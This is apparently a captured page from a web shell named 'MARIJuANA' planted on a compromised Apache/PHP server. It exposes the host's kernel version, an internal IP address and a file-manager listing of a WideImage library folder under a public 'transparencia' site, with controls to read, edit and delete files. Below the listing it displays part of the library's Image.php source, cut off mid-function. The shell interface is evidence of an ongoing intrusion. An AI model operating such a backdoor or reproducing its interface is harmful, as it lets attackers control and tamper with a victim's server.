MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/pocoes/transparencia/assets/filemanager/connectors/php/inc/wideimage/lib/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Font dir drwxrwxr-x 2019-05-20 12:21 R D
Mapper dir drwxrwxr-x 2019-05-20 12:21 R D
Operation dir drwxrwxr-x 2019-05-20 12:21 R D
vendor dir drwxrwxr-x 2019-05-20 12:27 R D
Canvas.php 5 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
Coordinate.php 5.462 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
Exception.php 1.002 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
Image.php 30.035 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
MapperFactory.php 3.397 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
OperationFactory.php 1.773 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
PaletteImage.php 3.628 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
TrueColorImage.php 6.076 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
WideImage.php 12.057 KB -rw-rw-r-- 2019-05-20 12:10 R E G D
REQUEST EXIT
handle = $handle; } /** * Cleanup * * Destroys the handle via WideImage_Image::destroy() when called by the GC. */ function __destruct() { $this->destroy(); } /** * This method destroy the image handle, and releases the image resource. * * After this is called, the object doesn't hold a valid image any more. * No operation should be called after that. */ function destroy() { if ($this->isValid() && !$this->handleReleased) imagedestroy($this->handle); $this->handle = null; } /** * Returns the GD image resource * * @return resource GD image resource */ function getHandle() { return $this->handle; } /** * @return bool True, if the image object holds a valid GD image, false otherwise */ function isValid() { return WideImage::isValidImageHandle($this->handle); } /** * Releases the handle */ function releaseHandle() { $this->handleReleased = true; } /** * Saves an image to a file * * The file type is recognized from the $uri. If you save to a GIF8, truecolor images * are automatically converted to palette. * * This method supports additional parameters: quality (for jpeg images) and * compression quality and filters (for png images). See http://www.php.net/imagejpeg and * http://www.php.net/imagepng for details. * * Examples: * * // save to a GIF * $image->saveToFile('image.gif'); * * // save to a PNG with compression=7 and no filters * $image->saveToFile('image.png', 7, PNG_NO_FILTER); * * // save to a JPEG with quality=80 * $image->saveToFile('image.jpg', 80); * * // save to a JPEG with default quality=100 * $image->saveToFile('image.jpg'); * * * @param string $uri File location */ function saveToFile($uri) { $mapper = WideImage_MapperFactory::selectMapper($uri, null); $args = func_get_args(); array_unshift($args, $this->getHandle()); $res = call_user_func_array(array($mapper, 'save'), $args); if (!$res) throw new WideImage_UnknownErrorWhileMappingException(get_class($mapper) . " returned an invalid result while saving to $uri"); } /** * Returns binary string with image data in format specified by $format * * Additional parameters may be passed to the function. See WideImage_Image::saveToFile() for more details. * * @param string $format The format of the image * @return string The binary image data in specified format */ function asString($format) { ob_start(); $args = func_get_args(); $args[0] = null; array_unshift($args, $this->getHandle()); $mapper = WideImage_MapperFactory::selectMapper(null, $format); $res = call_user_func_array(array($mapper, 'save'), $args); if (!$res) throw new WideImage_UnknownErrorWhileMappingException(get_class($mapper) . " returned an invalid result while writing the image data"); return ob_get_clean(); } /** * Output a header to browser. * * @param $name Name of the header * @param $data Data */ protected function writeHeader($name, $data) { header($name . ": " . $data); } /** * Outputs the image to browser * * Sets headers Content-length and Content-type, and echoes the image in the specified format. * All other headers (such as Content-disposition) must be added manually. * * Example: * * WideImage::load('image1.png')->resize(100, 100)->output('gif'); * * * @param string $format Image format */ function output($format) { $args = fu